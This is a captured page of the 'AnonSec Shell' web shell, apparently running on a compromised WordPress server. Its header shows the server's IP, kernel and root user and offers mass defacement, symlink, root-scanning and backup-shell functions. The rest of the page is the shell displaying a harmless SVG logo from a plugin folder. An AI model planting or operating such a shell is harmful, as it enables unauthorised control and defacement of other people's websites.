AnonSec Shell
Server IP : 104.21.14.48  /  Your IP : 3.145.83.126   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/profile-builder/assets/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/profile-builder/assets/images/pb-trp-cross-promotion.svg
<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 25.2.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 300 150" style="enable-background:new 0 0 300 150;" xml:space="preserve">
<style type="text/css">
	.st0{fill:#359ED7;}
	.st1{fill:#2E88BA;}
	.st2{fill:#3088BA;}
	.st3{fill:#2877A2;}
	.st4{fill:#EC6353;}
	.st5{fill:#FFFFFF;}
	.st6{fill:#B8E5FA;}
</style>
<!--<g id="Layer_2">-->
<!--	<rect x="-0.01" class="st0" width="300.17" height="150"/>-->
<!--</g>-->
<g id="Layer_1">
	<g>
		<rect x="25.89" y="50.01" class="st1" width="41.65" height="41.58"/>
		<rect x="23.01" y="55.63" class="st2" width="41.65" height="41.58"/>
		<rect x="17.26" y="58.63" class="st2" width="41.65" height="41.58"/>
		<rect x="58.91" y="55.63" class="st3" width="5.75" height="35.96"/>
		<rect x="22.89" y="91.59" class="st3" width="35.9" height="5.62"/>
		<rect x="20.14" y="52.88" class="st4" width="41.65" height="41.58"/>
		<g>
			<rect x="31.58" y="67.49" class="st5" width="18.57" height="2.12"/>
		</g>
		<g>
			<rect x="39.56" y="64.28" class="st5" width="2.62" height="3.4"/>
		</g>
		<g>
			<rect x="41.53" y="64.29" class="st5" width="0.92" height="1.12"/>
		</g>
		<g>
			<path class="st5" d="M32.1,82.9l-0.41-2.59c6.15-0.98,11.08-5.75,12.25-11.85l2.58,0.49C45.14,76.14,39.34,81.75,32.1,82.9z"/>
		</g>
		<g>
			<path class="st5" d="M50.22,82.49c-7.27-0.98-13.2-6.44-14.75-13.59l2.56-0.56c1.32,6.08,6.36,10.72,12.54,11.55L50.22,82.49z"/>
		</g>
	</g>
	<g>
		<path class="st5" d="M92.97,66.79h-6.19v17.07h-3.42V66.79h-6.14v-2.78h15.75V66.79z"/>
		<path class="st5" d="M103.52,72.14c-0.44-0.07-0.89-0.11-1.35-0.11c-1.52,0-2.54,0.58-3.07,1.75v10.09h-3.31V69.11h3.16l0.08,1.65
			c0.8-1.28,1.91-1.92,3.33-1.92c0.47,0,0.86,0.06,1.17,0.19L103.52,72.14z"/>
		<path class="st5" d="M115.44,83.87c-0.15-0.28-0.27-0.74-0.38-1.38c-1.05,1.1-2.35,1.65-3.87,1.65c-1.48,0-2.69-0.42-3.63-1.27
			c-0.94-0.85-1.4-1.89-1.4-3.14c0-1.57,0.58-2.78,1.75-3.62c1.17-0.84,2.84-1.26,5.01-1.26h2.03v-0.97c0-0.76-0.21-1.38-0.64-1.83
			c-0.43-0.46-1.08-0.69-1.95-0.69c-0.75,0-1.37,0.19-1.85,0.57c-0.48,0.38-0.72,0.86-0.72,1.44h-3.31c0-0.81,0.27-1.57,0.8-2.27
			c0.54-0.7,1.27-1.26,2.19-1.66s1.95-0.6,3.09-0.6c1.73,0,3.1,0.43,4.13,1.3s1.55,2.09,1.58,3.66v6.66c0,1.33,0.19,2.39,0.56,3.18
			v0.23H115.44z M111.8,81.48c0.65,0,1.27-0.16,1.85-0.48c0.58-0.32,1.01-0.75,1.3-1.28v-2.78h-1.79c-1.23,0-2.15,0.21-2.77,0.64
			c-0.62,0.43-0.93,1.03-0.93,1.81c0,0.64,0.21,1.14,0.63,1.52S111.09,81.48,111.8,81.48z"/>
		<path class="st5" d="M126.23,69.11l0.1,1.7c1.09-1.32,2.52-1.98,4.3-1.98c3.07,0,4.64,1.76,4.69,5.28v9.75H132v-9.56
			c0-0.94-0.2-1.63-0.61-2.08c-0.4-0.45-1.07-0.67-1.98-0.67c-1.34,0-2.33,0.6-2.99,1.81v10.5h-3.31V69.11H126.23z"/>
		<path class="st5" d="M148.39,79.86c0-0.59-0.24-1.04-0.73-1.35c-0.49-0.31-1.29-0.58-2.42-0.82s-2.07-0.54-2.82-0.9
			c-1.65-0.8-2.48-1.96-2.48-3.48c0-1.27,0.54-2.34,1.61-3.19c1.07-0.85,2.44-1.28,4.09-1.28c1.76,0,3.19,0.44,4.28,1.31
			s1.63,2,1.63,3.4h-3.31c0-0.64-0.24-1.17-0.71-1.59s-1.1-0.63-1.88-0.63c-0.73,0-1.32,0.17-1.78,0.5
			c-0.46,0.34-0.69,0.79-0.69,1.35c0,0.51,0.21,0.9,0.64,1.19c0.43,0.28,1.29,0.57,2.59,0.85c1.3,0.29,2.32,0.63,3.06,1.02
			s1.29,0.87,1.65,1.42c0.36,0.55,0.54,1.23,0.54,2.02c0,1.33-0.55,2.4-1.65,3.23c-1.1,0.82-2.54,1.23-4.32,1.23
			c-1.21,0-2.29-0.22-3.23-0.65c-0.95-0.44-1.68-1.04-2.21-1.8c-0.53-0.76-0.79-1.59-0.79-2.47h3.22c0.05,0.78,0.34,1.38,0.89,1.81
			c0.55,0.42,1.27,0.63,2.17,0.63c0.87,0,1.54-0.17,1.99-0.5S148.39,80.39,148.39,79.86z"/>
		<path class="st5" d="M159.48,83.87h-3.31V62.92h3.31V83.87z"/>
		<path class="st5" d="M173.33,83.87c-0.15-0.28-0.27-0.74-0.38-1.38c-1.05,1.1-2.34,1.65-3.87,1.65c-1.48,0-2.69-0.42-3.63-1.27
			c-0.94-0.85-1.4-1.89-1.4-3.14c0-1.57,0.58-2.78,1.75-3.62s2.84-1.26,5.01-1.26h2.03v-0.97c0-0.76-0.21-1.38-0.64-1.83
			c-0.43-0.46-1.08-0.69-1.95-0.69c-0.75,0-1.37,0.19-1.86,0.57c-0.48,0.38-0.72,0.86-0.72,1.44h-3.31c0-0.81,0.27-1.57,0.8-2.27
			c0.54-0.7,1.27-1.26,2.19-1.66s1.95-0.6,3.09-0.6c1.73,0,3.1,0.43,4.13,1.3s1.55,2.09,1.58,3.66v6.66c0,1.33,0.19,2.39,0.56,3.18
			v0.23H173.33z M169.69,81.48c0.65,0,1.27-0.16,1.85-0.48c0.58-0.32,1.01-0.75,1.3-1.28v-2.78h-1.79c-1.23,0-2.15,0.21-2.77,0.64
			c-0.62,0.43-0.93,1.03-0.93,1.81c0,0.64,0.21,1.14,0.63,1.52C168.41,81.29,168.98,81.48,169.69,81.48z"/>
		<path class="st5" d="M185.2,65.52v3.59h2.6v2.45h-2.6v8.24c0,0.56,0.11,0.97,0.33,1.22c0.22,0.25,0.62,0.38,1.19,0.38
			c0.38,0,0.77-0.04,1.16-0.14v2.56c-0.75,0.21-1.48,0.31-2.18,0.31c-2.54,0-3.82-1.4-3.82-4.21v-8.36h-2.43v-2.45h2.43v-3.59H185.2
			z"/>
		<path class="st5" d="M198.25,84.14c-2.1,0-3.8-0.66-5.11-1.98c-1.3-1.32-1.96-3.08-1.96-5.28v-0.41c0-1.47,0.28-2.79,0.85-3.95
			s1.37-2.06,2.39-2.71c1.03-0.65,2.17-0.97,3.44-0.97c2.01,0,3.56,0.64,4.66,1.92c1.1,1.28,1.64,3.1,1.64,5.44v1.34h-9.64
			c0.1,1.22,0.51,2.18,1.22,2.89s1.61,1.06,2.69,1.06c1.52,0,2.75-0.61,3.71-1.84l1.79,1.71c-0.59,0.88-1.38,1.57-2.37,2.05
			S199.48,84.14,198.25,84.14z M197.86,71.5c-0.91,0-1.64,0.32-2.2,0.96c-0.56,0.64-0.92,1.52-1.07,2.66h6.31v-0.25
			c-0.07-1.11-0.37-1.95-0.89-2.52S198.78,71.5,197.86,71.5z"/>
		<path class="st6" d="M211.39,76.09v7.77h-2.62V64.01h7.32c2.17,0,3.88,0.55,5.11,1.66c1.23,1.11,1.85,2.58,1.85,4.4
			c0,1.93-0.6,3.41-1.81,4.45c-1.2,1.04-2.93,1.56-5.17,1.56H211.39z M211.39,73.95h4.71c1.4,0,2.47-0.33,3.22-0.99
			c0.75-0.66,1.12-1.61,1.12-2.86c0-1.18-0.37-2.13-1.12-2.84c-0.75-0.71-1.77-1.08-3.07-1.11h-4.85V73.95z"/>
		<path class="st6" d="M234.55,71.37c-0.38-0.06-0.79-0.1-1.24-0.1c-1.66,0-2.78,0.71-3.37,2.11v10.47h-2.52V69.11h2.46l0.04,1.7
			c0.83-1.32,2-1.98,3.52-1.98c0.49,0,0.86,0.06,1.12,0.19V71.37z"/>
		<path class="st6" d="M244.16,84.14c-2,0-3.63-0.66-4.88-1.97c-1.25-1.31-1.88-3.07-1.88-5.27v-0.46c0-1.46,0.28-2.77,0.84-3.92
			c0.56-1.15,1.34-2.05,2.35-2.7c1-0.65,2.09-0.98,3.27-0.98c1.92,0,3.41,0.63,4.47,1.9s1.6,3.07,1.6,5.43v1.05h-10
			c0.04,1.46,0.46,2.63,1.28,3.53c0.81,0.9,1.85,1.34,3.1,1.34c0.89,0,1.64-0.18,2.26-0.55c0.62-0.36,1.16-0.85,1.62-1.45l1.54,1.2
			C248.49,83.19,246.63,84.14,244.16,84.14z M243.85,70.91c-1.02,0-1.87,0.37-2.56,1.11c-0.69,0.74-1.12,1.78-1.28,3.12h7.39v-0.19
			c-0.07-1.28-0.42-2.27-1.04-2.98C245.74,71.26,244.9,70.91,243.85,70.91z"/>
		<path class="st6" d="M262.85,79.95c0-0.68-0.26-1.21-0.77-1.59c-0.51-0.38-1.41-0.7-2.69-0.97c-1.28-0.27-2.29-0.6-3.04-0.98
			c-0.75-0.38-1.3-0.84-1.66-1.36s-0.54-1.15-0.54-1.88c0-1.21,0.51-2.23,1.53-3.07c1.02-0.84,2.33-1.25,3.92-1.25
			c1.67,0,3.03,0.43,4.07,1.3s1.56,1.97,1.56,3.31h-2.54c0-0.69-0.29-1.29-0.88-1.79c-0.59-0.5-1.33-0.75-2.22-0.75
			c-0.92,0-1.64,0.2-2.15,0.6c-0.52,0.4-0.78,0.92-0.78,1.57c0,0.61,0.24,1.07,0.72,1.38c0.48,0.31,1.35,0.6,2.61,0.89
			c1.26,0.28,2.28,0.62,3.06,1.01c0.78,0.39,1.36,0.86,1.74,1.41c0.38,0.55,0.57,1.22,0.57,2.01c0,1.32-0.53,2.38-1.58,3.17
			c-1.05,0.8-2.42,1.19-4.1,1.19c-1.18,0-2.23-0.21-3.14-0.63s-1.62-1-2.13-1.75c-0.51-0.75-0.77-1.56-0.77-2.43h2.52
			c0.04,0.85,0.38,1.52,1.02,2.01c0.63,0.5,1.47,0.74,2.5,0.74c0.95,0,1.72-0.19,2.3-0.58C262.56,81.11,262.85,80.6,262.85,79.95z"
			/>
		<path class="st6" d="M278.68,79.95c0-0.68-0.26-1.21-0.77-1.59c-0.51-0.38-1.41-0.7-2.69-0.97c-1.28-0.27-2.29-0.6-3.04-0.98
			c-0.75-0.38-1.3-0.84-1.66-1.36s-0.54-1.15-0.54-1.88c0-1.21,0.51-2.23,1.53-3.07c1.02-0.84,2.33-1.25,3.92-1.25
			c1.67,0,3.03,0.43,4.07,1.3s1.56,1.97,1.56,3.31h-2.54c0-0.69-0.29-1.29-0.88-1.79c-0.59-0.5-1.33-0.75-2.22-0.75
			c-0.92,0-1.64,0.2-2.15,0.6c-0.52,0.4-0.78,0.92-0.78,1.57c0,0.61,0.24,1.07,0.72,1.38c0.48,0.31,1.35,0.6,2.61,0.89
			c1.26,0.28,2.28,0.62,3.06,1.01c0.78,0.39,1.36,0.86,1.74,1.41c0.38,0.55,0.57,1.22,0.57,2.01c0,1.32-0.53,2.38-1.58,3.17
			c-1.05,0.8-2.42,1.19-4.1,1.19c-1.18,0-2.23-0.21-3.14-0.63s-1.62-1-2.13-1.75c-0.51-0.75-0.77-1.56-0.77-2.43h2.52
			c0.04,0.85,0.38,1.52,1.02,2.01c0.63,0.5,1.47,0.74,2.5,0.74c0.95,0,1.72-0.19,2.3-0.58C278.39,81.11,278.68,80.6,278.68,79.95z"
			/>
	</g>
</g>
</svg>

Anon7 - 2022
AnonSec Team